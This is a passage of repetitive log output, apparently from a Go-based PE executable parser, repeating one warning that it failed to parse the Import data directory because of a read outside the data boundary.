data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:24+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 